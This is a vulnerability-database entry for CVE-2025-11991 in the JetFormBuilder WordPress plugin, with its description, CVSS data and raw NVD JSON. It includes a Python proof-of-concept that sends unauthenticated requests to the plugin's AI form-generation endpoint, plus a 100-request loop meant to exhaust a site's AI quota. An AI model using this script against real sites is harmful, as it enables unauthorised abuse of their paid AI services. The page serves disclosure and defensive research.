Security Vulnerability Report
中文
CVE-2025-11991 CVSS 5.3 MEDIUM

CVE-2025-11991

Published: 2025-12-16 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the run_callback function in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to generate forms using AI, consuming site's AI usage limits.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JetFormBuilder插件 < 3.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11991 PoC - Unauthorized AI Form Generation # Target: WordPress site with JetFormBuilder plugin <= 3.5.3 target_url = "http://target-wordpress-site.com" # Identify the REST API endpoint for AI form generation api_endpoint = f"{target_url}/wp-json/jet-form-builder/v1/generate-form" # Prepare the malicious request without authentication payload = { "form_name": "Malicious Form", "form_description": "Form generated by unauthorized attacker", "form_fields": [ {"type": "text", "name": "field1", "label": "Name"}, {"type": "email", "name": "field2", "label": "Email"} ] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print("[*] Sending unauthorized AI form generation request...") print(f"[*] Target: {api_endpoint}") try: # Send POST request without authentication cookie response = requests.post( api_endpoint, json=payload, headers=headers, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] SUCCESS: Form generation endpoint accessible without authentication!") print("[+] AI quota consumption attack is possible") elif response.status_code == 401 or response.status_code == 403: print("[-] FAILED: Endpoint requires authentication (may be patched)") else: print(f"[*] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Mass exploitation to consume AI quota print("\n[*] Mass exploitation script for quota exhaustion:") for i in range(100): payload["form_name"] = f"Attacker Form {i}" try: requests.post(api_endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Request {i+1}/100 sent") except: pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11991", "sourceIdentifier": "[email protected]", "published": "2025-12-16T08:15:50.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the run_callback function in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to generate forms using AI, consuming site's AI usage limits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.5.2.1/modules/ai/rest-api/endpoints/generate-form-endpoint.php#L26", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c08444ef-77bc-4e9d-8d94-04b90cc99ded?source=cve", "source": "[email protected]"}]}}